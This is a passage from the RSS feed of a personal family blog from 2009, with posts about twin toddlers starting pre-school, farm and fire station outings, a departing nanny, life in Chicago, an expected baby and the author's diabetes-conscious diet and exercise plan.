<p style="clear: both">
<p><br class="final-break" style="clear: both" /></p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/10/29/35-week-ultrasound-today/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/10/29/35-week-ultrasound-today/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>First Day of Pre-School</title>
		<link>http://tomchak.com/blog/2009/10/21/first-day-of-pre-school/</link>
		<comments>http://tomchak.com/blog/2009/10/21/first-day-of-pre-school/#comments</comments>
		<pubDate>Wed, 21 Oct 2009 15:25:23 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Photo Post]]></category>
		<category><![CDATA[Text Post]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/?p=2029</guid>
		<description><![CDATA[Brenda and I were both excited and nervous to take the boys to their first day of school. It seems like just yesterday they couldn&#8217;t even hold their own bottle and now they&#8217;re going to school 3 days a week for full days. 
We thought maybe they would cry when we left, but they did [...]]]></description>
			<content:encoded><![CDATA[<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/10/2009-10-20-img-0673.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/10/2009-10-20-img-0673-thumb.jpg" height="575" width="600" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a>Brenda and I were both excited and nervous to take the boys to their first day of school. It seems like just yesterday they couldn&#8217;t even hold their own bottle and now they&#8217;re going to school 3 days a week for full days. </p>
<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/10/2009-10-20-img-0662.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/10/2009-10-20-img-0662-thumb.jpg" height="600" width="426" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a>We thought maybe they would cry when we left, but they did not. They didn&#8217;t even realize we left. </p>
<p style="clear: both">We thought they would have trouble eating there without high chairs and with a group of kids, but they did great. </p>
<p style="clear: both">We thought they would both have trouble taking naps at a place that was unfamiliar, but they both slept close to 90 minutes. </p>
<p style="clear: both">We thought being surrounded by strangers would be hard for them, but they seemed to just go with the flow and get along with both the adults and kids. </p>
<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/10/2009-10-20-img-0689.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/10/2009-10-20-img-0689-thumb.jpg" height="399" width="600" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a>So while it was hard to leave them because it was hard to admit how fast they were growing up, we knew it was the right thing to do. At the end of the day when we picked them up they were happy, exhausted and ready to come home. </p>
<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/10/2009-10-20-img-0702.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/10/2009-10-20-img-0702-thumb.jpg" height="399" width="600" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a>It&#8217;s great to know that they&#8217;re getting the things they need most right now, and as time goes on I think we&#8217;ll see the benefits.</p>
<p style="clear: both">More photos on <a href="http://tomchak.smugmug.com/gallery/10042279_z74QZ#688080775_oTUPZ" target="_blank">SmugMug.</a></p>
<p><br class="final-break" style="clear: both" /></p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/10/21/first-day-of-pre-school/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/10/21/first-day-of-pre-school/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Good Times at the Pumpkin Patch</title>
		<link>http://tomchak.com/blog/2009/10/19/good-times-at-the-pumpkin-patch/</link>
		<comments>http://tomchak.com/blog/2009/10/19/good-times-at-the-pumpkin-patch/#comments</comments>
		<pubDate>Mon, 19 Oct 2009 19:32:54 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Photo Post]]></category>
		<category><![CDATA[Text Post]]></category>
		<category><![CDATA[Andrew]]></category>
		<category><![CDATA[Brenda]]></category>
		<category><![CDATA[Maximus]]></category>
		<category><![CDATA[Tom]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/?p=2001</guid>
		<description><![CDATA[.
This past Saturday we didn&#8217;t know what to do with the boys. The weather wasn&#8217;t bad, but it wasn&#8217;t great. We had spent the previous weekend at the mall since the weather was so nasty, but didn&#8217;t feel like being indoors again. 

So while we were all at breakfast (our Saturday tradition now after they [...]]]></description>
			<content:encoded><![CDATA[<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/10/2009-10-17-img-2.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/10/2009-10-17-img-2-thumb.jpg" height="400" width="598" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a>.</p>
<p>This past Saturday we didn&#8217;t know what to do with the boys. The weather wasn&#8217;t bad, but it wasn&#8217;t great. We had spent the previous weekend at the mall since the weather was so nasty, but didn&#8217;t feel like being indoors again. </p>
<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/10/2009-10-17-img-1084.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/10/2009-10-17-img-1084-thumb1.jpg" height="400" width="598" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a>
<div>So while we were all at breakfast (our Saturday tradition now after they go to My Gym) I did a goole search for &#8220;Puppy Petting Zoo&#8221; on my phone. I had visions of the boys rolling around in a pile of puppies while laughing and playing. While I didn&#8217;t find any puppy petting places, I did find a farm nearby called <a href="http://johansenfarms.com/" target="_blank">Johansen Farms</a> that had plenty of child activities year round. So off we went! </div>
</p>
<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/10/2009-10-17-img-1056.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/10/2009-10-17-img-1056-thumb1.jpg" height="400" width="598" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a>
<div>Because of Brenda&#8217;s condition we were not able to do a lot with the boys (it really does take the two of us when they&#8217;re not strapped down), but I&#8217;m sure next summer they&#8217;ll be able to enjoy it a lot more. There were hay rides, train rides, pony rides, a Jumpin Playroom, and animals of all kinds that you could pet. </div>
</p>
<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/10/2009-10-17-img-1075.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/10/2009-10-17-img-1075-thumb1.jpg" height="400" width="598" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a>
<div>The rest of the photos are on <a href="http://tomchak.smugmug.com/Family/2009-1018Petting-Farm/10010284_yuQKP#685225593_ttDUF" target="_blank">SmugMug</a></div>
</p>
<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/10/2009-10-17-img-1047.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/10/2009-10-17-img-1047-thumb1.jpg" height="400" width="598" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p><br class="final-break" style="clear: both" /></p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/10/19/good-times-at-the-pumpkin-patch/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/10/19/good-times-at-the-pumpkin-patch/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Super Nanny Maria, One Door Closes &amp; Another Opens</title>
		<link>http://tomchak.com/blog/2009/10/15/super-nanny-maria-a-chapter-closes/</link>
		<comments>http://tomchak.com/blog/2009/10/15/super-nanny-maria-a-chapter-closes/#comments</comments>
		<pubDate>Thu, 15 Oct 2009 22:01:56 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Photo Post]]></category>
		<category><![CDATA[Text Post]]></category>
		<category><![CDATA[Andrew]]></category>
		<category><![CDATA[Max]]></category>
		<category><![CDATA[Super Nanny Maria]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/?p=1992</guid>
		<description><![CDATA[It was just over a year ago that we were, on very short notice, in need of a new Nanny after having one that just didn&#8217;t work out after only 2 weeks on the job, and another one before her that quit with no notice. This was one of those times that when you look [...]]]></description>
			<content:encoded><![CDATA[<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/10/2009-10-15-img-1.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/10/2009-10-15-img-1-thumb.jpg" height="427" width="600" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a>It was just over a year ago that we were, on very short notice, in need of a new Nanny after having one that just didn&#8217;t work out after only 2 weeks on the job, and another one before her that quit with no notice. This was one of those times that when you look back, what seemed like a bad situation was really a setup for something better. </p>
<p style="clear: both">Maria was hired before she even left the interview after spending 2 hours talking and caring for the boys while we asked questions. We could tell just from her interaction with them that she would be a great caretaker for the boys. In no time at all she was in love with them as if they were her own. Even now, just saying &#8220;Maria is here!&#8221; gets the boys running to the front door looking for her. She has not only been great taking care of the boys, but most days she helps clean the house, do the boys wash and makes us dinner. What&#8217;s not to like!</p>
<p style="clear: both">So now the boys are almost 2 years old, and we&#8217;ve realized that hey need more help then we can give them on our own or even with the help of a Nanny. They need more stimulation, more challenges, more interaction with other kids and need to be more engaged in general. We recently found a school (a pre-preschool) that seems to have a great balance of all of these. We knew after our first meeting at the school that this was what they needed. We did one trial day with the boys at the school to see how they liked it, and it was clear that we were doing the right thing. </p>
<p style="clear: both">So starting next week, the boys will be in school from about 9-5 on Tuesdays, Wednesdays and Thursdays. This gives Brenda time to relax and start &#8220;nesting&#8221; for the new baby, and sometime next year if she chooses to, it gives her a chance to continue her career, something she&#8217;s still very passionate about. </p>
<p style="clear: both">Maria is still weighing out her options and may continue to Nanny or pursue some other opportunities that have come her way recently. One thing is clear, if she continues to Nanny she will not have a difficult time finding a new job, even in this economy. She is second to none, and the only bad part about having her help out is that any other caretaker after her will just not compare. </p>
<p>So while she&#8217;s no longer our Nanny, she will always be a great friend. We love you Maria.</p>
<p style="clear: both">You can find the rest of the photos on <a href="http://tomchak.smugmug.com/Family/2009-1015Marias-Last-Day/9979132_cmX6k#682028513_QZjkp" target="_blank">SmugMug</a>.</p>
<p><br class="final-break" style="clear: both" /></p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/10/15/super-nanny-maria-a-chapter-closes/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/10/15/super-nanny-maria-a-chapter-closes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fire Station Open House</title>
		<link>http://tomchak.com/blog/2009/10/13/fire-station-open-house/</link>
		<comments>http://tomchak.com/blog/2009/10/13/fire-station-open-house/#comments</comments>
		<pubDate>Tue, 13 Oct 2009 16:00:39 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Photo Post]]></category>
		<category><![CDATA[Text Post]]></category>
		<category><![CDATA[Andrew]]></category>
		<category><![CDATA[Brenda]]></category>
		<category><![CDATA[Max]]></category>
		<category><![CDATA[Wheaton Fire Station]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/?p=1978</guid>
		<description><![CDATA[This past weekend we took the boys to the local Wheaton Fire Station #1 for their annual open house. I have to admit, while the initial idea was to take them, I really looked forward to it as well. I think the last time I was at a Fire House was in 3rd grade when [...]]]></description>
			<content:encoded><![CDATA[<p style="clear: both"><a class="image-link" href="http://tomchak.com/blog/wp-content/uploads/2009/10/2009-10-10-img-0943.jpg"><img class="linked-to-original" style=" text-align: center; display: block; margin: 0 auto 10px;" src="http://tomchak.com/blog/wp-content/uploads/2009/10/2009-10-10-img-0943-thumb.jpg" alt="" width="600" height="319" /></a>This past weekend we took the boys to the local Wheaton Fire Station #1 for their annual open house. I have to admit, while the initial idea was to take them, I really looked forward to it as well. I think the last time I was at a Fire House was in 3rd grade when the whole class took a trip. You know, guys and big machinery, trucks or anything that makes a loud noises. It&#8217;s hard to not get excited.</p>
<p style="clear: both"><a class="image-link" href="http://tomchak.com/blog/wp-content/uploads/2009/10/2009-10-10-img-0933.jpg"><img class="linked-to-original" style=" text-align: center; display: block; margin: 0 auto 10px;" src="http://tomchak.com/blog/wp-content/uploads/2009/10/2009-10-10-img-0933-thumb.jpg" alt="" width="600" height="400" /></a>The boys really loved it and we ended the trip with a ride on one of the Fire Trucks. All and all a great way to start the day! The rest of the photos can be found on <a href="http://tomchak.smugmug.com/Family/2009-1010WheatonFireHouseVisit/9930909_gFT59#677463591_xBPik" target="_blank">SmugMug.</a></p>
<p style="clear: both"><a class="image-link" href="http://tomchak.com/blog/wp-content/uploads/2009/10/2009-10-10-img-0941.jpg"><img class="linked-to-original" style=" text-align: center; display: block; margin: 0 auto 10px;" src="http://tomchak.com/blog/wp-content/uploads/2009/10/2009-10-10-img-0941-thumb.jpg" alt="" width="400" height="600" /></a></p>
<p><br class="final-break" style="clear: both" /></p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/10/13/fire-station-open-house/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/10/13/fire-station-open-house/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sweet Home Chicago, for 18 Years</title>
		<link>http://tomchak.com/blog/2009/10/11/sweet-home-chicago-for-18-years/</link>
		<comments>http://tomchak.com/blog/2009/10/11/sweet-home-chicago-for-18-years/#comments</comments>
		<pubDate>Sun, 11 Oct 2009 22:01:19 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Photo Post]]></category>
		<category><![CDATA[Text Post]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/?p=1955</guid>
		<description><![CDATA[It&#8217;s hard to believe it, but this month makes 18 years that I&#8217;ve lived in Chicago. I&#8217;m always reminded of the anniversary because every year they hold the Chicago Marathon, which took place of of the first weekends after I moved here. This years race was today.
While I can&#8217;t remember what I did yesterday, I [...]]]></description>
			<content:encoded><![CDATA[<div class="wp-caption alignnone" style="width: 420px"><a class="image-link" href="http://tomchak.com/blog/wp-content/uploads/2009/10/3girls1-full.jpg"><img class="linked-to-original" style="text-align: center; display: block; margin: 0 auto 10px;" src="http://tomchak.com/blog/wp-content/uploads/2009/10/3girls1-thumb21.jpg" alt="" width="410" height="289" /></a><p class="wp-caption-text">The Chicago Pin Heads Bowling Team. We sucked, but it was a blast every Tuesday night. </p></div>
<p style="clear: both">It&#8217;s hard to believe it, but this month makes 18 years that I&#8217;ve lived in Chicago. I&#8217;m always reminded of the anniversary because every year they hold the <a href="http://www.chicagomarathon.com" target="_blank">Chicago Marathon</a>, which took place of of the first weekends after I moved here. This years race was today.</p>
<p style="clear: both">While I can&#8217;t remember what I did yesterday, I can remember very clearly moving to Chicago and what it was like at the time. I was only 24 years old and moved to a city where the only person I knew was a guy that had also moved to Chicago from the <a href="http://gtninc.com/" target="_blank">same company</a> I was working at in Detroit.</p>
<p style="clear: both">I remember being excited with no reservations about moving. I quickly gave notice at work, put my car up for sale and started packing. But once I got to the airport and my parents dropped me off, the reality really hit me. Suddenly I was overwhelmed with emotion and it got the best of me. But even then I knew I was doing the right thing.</p>
<p style="clear: both"><a class="image-link" href="http://tomchak.com/blog/wp-content/uploads/2009/10/chicago-gold-coast.jpg"><img class="linked-to-original" style=" text-align: center; display: block; margin: 0 auto 10px;" src="http://tomchak.com/blog/wp-content/uploads/2009/10/chicago-gold-coast-thumb1.jpg" alt="" width="600" height="399" /></a>I moved into a nice neighborhood (known as the <a href="http://maps.google.com/maps?client=safari&amp;rls=en&amp;q=chicago+gold+coast&amp;oe=UTF-8&amp;um=1&amp;ie=UTF-8&amp;hq=&amp;hnear=Gold+Coast,+IL&amp;gl=us&amp;ei=Y0fSSp2qBYeOMezj1JQD&amp;sa=X&amp;oi=geocode_result&amp;ct=title&amp;resnum=1&amp;ved=0CA8Q8gEwAA" target="_blank">Gold Cost</a>) that was 2 blocks from the lake and walking distance to my new job. It was a very exciting time of my life and the first two years were especially fun since pretty much everything I did and everywhere I went was new. Within a few months of being here I had a great apartment, great job, new girlfriend, new responsibilities at my job and was surrounded both at work and my apartment by people my age. It was awesome!</p>
<p style="clear: both">I would spend my summers riding my bike or rollerblading along the lake and was introduced to all kinds of new activities (new to me) like going out to see local bands at the bar, heading up to Wisconsin to go mountain bike riding, relaxing in small coffee shops (pre-Starbucks) just to hang with friends, seeing independent plays in the park and watching movies that were not considered main stream at the Music Box Theater. It was ALL NEW and I loved it.</p>
<p style="clear: both"><a class="image-link" href="http://tomchak.com/blog/wp-content/uploads/2009/10/musicbox-chicago.jpg"><img class="linked-to-original" style=" text-align: center; display: block; margin: 0 auto 10px;" src="http://tomchak.com/blog/wp-content/uploads/2009/10/musicbox-chicago-thumb1.jpg" alt="" width="450" height="600" /></a>So 18 years later what do I think? While I&#8217;ve had good and bad years here, it&#8217;s been overwhelming good &#8211; and I can&#8217;t deny that I&#8217;m happy with the way things have turned out. I have an awesome wife that&#8217;s given me two beautiful boys and has another in the oven, we own our own small post house, we&#8217;re close to Brenda&#8217;s family and a easy 5 hour drive from most of mine, and I have a really great network of family, friends and clients all rooted right here in Chicago.</p>
<p style="clear: both"><a class="image-link" href="http://tomchak.com/blog/wp-content/uploads/2009/10/2008-11-01-img-9162-version-2.jpg"><img class="linked-to-original" style=" text-align: center; display: block; margin: 0 auto 10px;" src="http://tomchak.com/blog/wp-content/uploads/2009/10/2008-11-01-img-9162-version-2-thumb1.jpg" alt="" width="600" height="400" /></a>What a great journey it&#8217;s been so far, and I feel like in some ways it&#8217;s only just begun.</p>
<p><br class="final-break" style="clear: both" /></p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/10/11/sweet-home-chicago-for-18-years/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/10/11/sweet-home-chicago-for-18-years/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>IT&#8217;S A GIRL!</title>
		<link>http://tomchak.com/blog/2009/09/28/its-a-girl/</link>
		<comments>http://tomchak.com/blog/2009/09/28/its-a-girl/#comments</comments>
		<pubDate>Mon, 28 Sep 2009 16:16:24 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Text Post]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/2009/09/28/its-a-girl/</guid>
		<description><![CDATA[At least that&#8217;s what we&#8217;re hoping&#8230; but we&#8217;re still sticking to not knowing. I just wanted to get your attention. Actually we will be happy no matter what, our real focus is on just having a healthy baby. 
But the real news to report is that we have a birthday for this new little one. [...]]]></description>
			<content:encoded><![CDATA[<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/09/301-dcbgirlbasketazoom1.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/09/301-dcbgirlbasket-thumbazoom1.jpg" height="600" width="600" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a>At least that&#8217;s what we&#8217;re hoping&#8230; but we&#8217;re still sticking to not knowing. I just wanted to get your attention. Actually we will be happy no matter what, our real focus is on just having a healthy baby. </p>
<p style="clear: both">But the real news to report is that we have a birthday for this new little one. Because Brenda is having a C-Section, we were able to actually schedule the date. </p>
<p style="clear: both">And so this year, we will be giving thanks that our new baby was born the day after Thanksgiving, Friday November 27th 2009. That will be week 39 of the pregnancy. </p>
<p style="clear: both">Yeaaaaaaaaa! (picture Kermit The Frog running around with his floppy hand in the air)</p>
<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/09/kermit.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/09/kermit-thumb.jpg" height="600" width="455" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p><br class="final-break" style="clear: both" /></p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/09/28/its-a-girl/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/09/28/its-a-girl/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Oprah Season 24 Kick-Off</title>
		<link>http://tomchak.com/blog/2009/09/21/oprah-season-24-kick-off/</link>
		<comments>http://tomchak.com/blog/2009/09/21/oprah-season-24-kick-off/#comments</comments>
		<pubDate>Mon, 21 Sep 2009 20:21:08 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Text Post]]></category>
		<category><![CDATA[Video Post]]></category>
		<category><![CDATA[Oprah]]></category>
		<category><![CDATA[Show]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/?p=1942</guid>
		<description><![CDATA[Just one more reason that I LOVE Chicago. I&#8217;ve traveled far and wide to some great cities, but always feel excited when I come home. While I grew up in Michigan, this is my home now.
If you didn&#8217;t catch it, this is the open to the 24th season of Oprah. They shut down one of [...]]]></description>
			<content:encoded><![CDATA[<p style="clear: both">Just one more reason that I LOVE Chicago. I&#8217;ve traveled far and wide to some great cities, but always feel excited when I come home. While I grew up in Michigan, this is my home now.</p>
<p style="clear: both">If you didn&#8217;t catch it, this is the open to the 24th season of Oprah. They shut down one of the busiest parts of Michigan Avenue to do the show and it was quite the party.</p>
<p style="clear: both">
<p style="clear: both">Every time I see this opening number I can&#8217;t help but smile, and it sure makes you want to dance!</p>
<p style="clear: both">
<p style="clear: both">[See post to watch QuickTime movie]
<p style="clear: both">
<p style="clear: both">Behind the scenes of how they actually did it.</p>
<p style="clear: both">
<p style="clear: both">[See post to watch QuickTime movie]
<p style="clear: both">
<p><br class="final-break" style="clear: both" /></p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/09/21/oprah-season-24-kick-off/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/09/21/oprah-season-24-kick-off/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Better Health Starts Today</title>
		<link>http://tomchak.com/blog/2009/09/17/better-health-starts-today/</link>
		<comments>http://tomchak.com/blog/2009/09/17/better-health-starts-today/#comments</comments>
		<pubDate>Thu, 17 Sep 2009 18:59:24 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Photo Post]]></category>
		<category><![CDATA[Text Post]]></category>
		<category><![CDATA[Web Link]]></category>
		<category><![CDATA[Better Health]]></category>
		<category><![CDATA[Diet]]></category>
		<category><![CDATA[Twinkie]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/?p=1901</guid>
		<description><![CDATA[It&#8217;s not about losing weight (well, not totally) and it&#8217;s not really a diet, it&#8217;s about living longer and being healthy in my later years. It&#8217;s about changing the way I eat as part of my lifestyle. What you eat and the amount of your daily physical activity play a huge role in how well [...]]]></description>
			<content:encoded><![CDATA[<p style="clear: both"><a class="image-link" href="http://tomchak.com/blog/wp-content/uploads/2009/09/diet-veggies.jpg"><img class="linked-to-original" style=" text-align: center; display: block; margin: 0 auto 10px;" src="http://tomchak.com/blog/wp-content/uploads/2009/09/diet-veggies-thumb.jpg" alt="" width="600" height="408" /></a>It&#8217;s not about losing weight (well, not totally) and it&#8217;s not <em>really</em> a diet, it&#8217;s about living longer and being healthy in my later years. It&#8217;s about changing the way I eat as part of my lifestyle. What you eat and the amount of your daily physical activity play a huge role in how well you will fair in the later years of your life. A few books that I have read recently really brought that into focus in a way that made me reevaluate how I&#8217;ve been &#8220;feeding my body&#8221;. I&#8217;m no longer 20 years old with &#8220;my whole life ahead of me&#8221; and it&#8217;s time to start acting like it.</p>
<p style="clear: both"><a class="image-link" href="http://tomchak.com/blog/wp-content/uploads/2009/09/2009-09-08-img-0717.jpg"><img class="linked-to-original" style=" text-align: center; display: block; margin: 0 auto 10px;" src="http://tomchak.com/blog/wp-content/uploads/2009/09/2009-09-08-img-0717-thumb1.jpg" alt="" width="600" height="400" /></a></p>
<p style="clear: both"><a class="image-link" href="http://tomchak.com/blog/wp-content/uploads/2009/09/2009-09-08-img-0724.jpg"><img class="linked-to-original" style=" text-align: center; display: block; margin: 0 auto 10px;" src="http://tomchak.com/blog/wp-content/uploads/2009/09/2009-09-08-img-0724-thumb1.jpg" alt="" width="598" height="400" /></a>Having the boys (and soon a new baby) has really made it much more important to me as well. When I spend time with the boys I realize how much I love them, but also how much I still have to give to them in the many years to come. I want to be sure that I&#8217;m here to do that. The most important thing I will ever do with my life is to be a father, I really feel that in my soul.</p>
<p style="text-align: left; background-image: initial; background-repeat: initial; background-attachment: initial; -webkit-background-clip: initial; -webkit-background-origin: initial; background-position: initial initial;"><a class="image-link" href="http://tomchak.com/blog/wp-content/uploads/2009/09/diabetes-0.jpg"><img class="linked-to-original" style=" text-align: center; display: block; margin: 0 auto 10px;" src="http://tomchak.com/blog/wp-content/uploads/2009/09/diabetes-0-thumb1.jpg" alt="" width="480" height="320" /></a>Last but certainly not least, having diabetes raises the importance of diet and exercise. Because of my condition I am more at risk for some serious health complications, but keeping things in check severely reduce that risk almost to the point of being a non-diabetic.</p>
<p style="clear: both"><a class="image-link" href="http://tomchak.com/blog/wp-content/uploads/2009/09/crazy-cat.gif"><img class="linked-to-original" style=" text-align: center; display: block; margin: 0 auto 10px;" src="http://tomchak.com/blog/wp-content/uploads/2009/09/crazy-cat-thumb.gif" alt="" width="400" height="320" /></a>Earlier this year I made an attempt and eating better and did great for a few months until I had what can only be described as a mental melt down (I&#8217;m fine now though). At that point I didn&#8217;t care about my diet anymore and just said &#8220;screw it&#8221;. I felt like a smoker that kicked the habit, but then had to have just one more because of a rough day. Since then it&#8217;s been very difficult to get back on track.</p>
<p style="clear: both">But, I&#8217;ve decided to try again. I only fail if I stop trying, and that I will not do.</p>
<p><span id="more-1901"></span></p>
<p style="clear: both"><a class="image-link" href="http://tomchak.com/blog/wp-content/uploads/2009/09/healthtracksportswellness.jpg"><img class="linked-to-original" style=" text-align: center; display: block; margin: 0 auto 10px;" src="http://tomchak.com/blog/wp-content/uploads/2009/09/healthtracksportswellness-thumb.jpg" alt="" width="600" height="222" /></a>I&#8217;ve joined a <a href="http://www.htsw.net/" target="_blank">health club</a> (again) but this time I&#8217;m making it less optional and more part of my life. I&#8217;m going to go 5 days a week (M-F) and really mix up what I do. For example, this week I ran one day, used the stair master another, and tomorrow I have my first ever spin class at 5:30am. I think through variety it will keep things from becoming mundane, which was a problem in the past.</p>
<p style="clear: both">I&#8217;ve also signed up for a few classes with a personal trainer. I&#8217;ve never had this and it will help me form a more serious plan instead of just making one up as I go, which is what I&#8217;ve always done in the past.</p>
<p style="clear: both"><a class="image-link" href="http://tomchak.com/blog/wp-content/uploads/2009/09/twinkie.jpg"><img class="linked-to-original" style=" text-align: center; display: block; margin: 0 auto 10px;" src="http://tomchak.com/blog/wp-content/uploads/2009/09/twinkie-thumb1.jpg" alt="" width="600" height="403" /></a>As for diet, I&#8217;ve given up all unnatural sugars (fruit sugar is OK, Twinkie sugar is not), caffeine, and have limited my choleric intake to 1200 calories a day until I get down to my long desired weight (about 20 lbs. away from where I&#8217;m at now &#8211; all in my stomach). I&#8217;m going to eat mostly fruits and vegetables, but also some lean meats.</p>
<p style="clear: both">Because I&#8217;m a geek, I&#8217;m also using some geeky tools to help me out.</p>
<p style="clear: both"><a class="image-link" href="http://tomchak.com/blog/wp-content/uploads/2009/09/51lhg9zcn7l-sl500-aa280-1.jpg"><img class="linked-to-original" style=" text-align: center; display: block; margin: 0 auto 10px;" src="http://tomchak.com/blog/wp-content/uploads/2009/09/51lhg9zcn7l-thumb-sl500-aa280-1.jpg" alt="" width="280" height="280" /></a>First off I purchased a <a href="http://www.amazon.com/Garmin-Forerunner-Receiver-Heart-Monitor/dp/B000CSWCQA/jusanoday08-20http://www.amazon.com/Garmin-Forerunner-Receiver-Heart-Monitor/dp/B000CSWCQA/jusanoday08-20" target="_blank">heart rate monitor</a> that I can wear when working out. This is important because as I recently learned, keeping your heart rate within a certain range helps burn fat instead of sugar. Also for me, I&#8217;ve learned that keeping my heart rate in this &#8220;fat burning&#8221; zone keeps my blood sugar from rising while I work out.</p>
<p style="clear: both"><a class="image-link" href="http://tomchak.com/blog/wp-content/uploads/2009/09/image3.png"><img class="linked-to-original" style=" text-align: center; display: block; margin: 0 auto 10px;" src="http://tomchak.com/blog/wp-content/uploads/2009/09/image3-thumb.png" alt="" width="320" height="480" /></a>I use the iPhone and the Nike+ software to keep track of my workouts as I run or walk. This keeps track of my distance, calories burned and time, and creates a nice report of how you&#8217;ve been doing. It even allows you to set goals for yourself and then tell you how you&#8217;re doing.</p>
<p style="clear: both"><a class="image-link" href="http://tomchak.com/blog/wp-content/uploads/2009/09/image1.png"><img class="linked-to-original" style=" text-align: center; display: block; margin: 0 auto 10px;" src="http://tomchak.com/blog/wp-content/uploads/2009/09/image1-thumb.png" alt="" width="320" height="480" /></a>Finally, I started using an app on my <a href="http://www.apple.com/iphone/" target="_blank">iPhone</a> that is indispensable when trying to count calories. It&#8217;s called &#8220;Nutrition&#8221; and helps you track your daily calories, work outs and weight loss. The part that really helps is the fact that it has lists of most restaurants and their menus, so if you do go out to eat you can see what the nutritional values are of each food.</p>
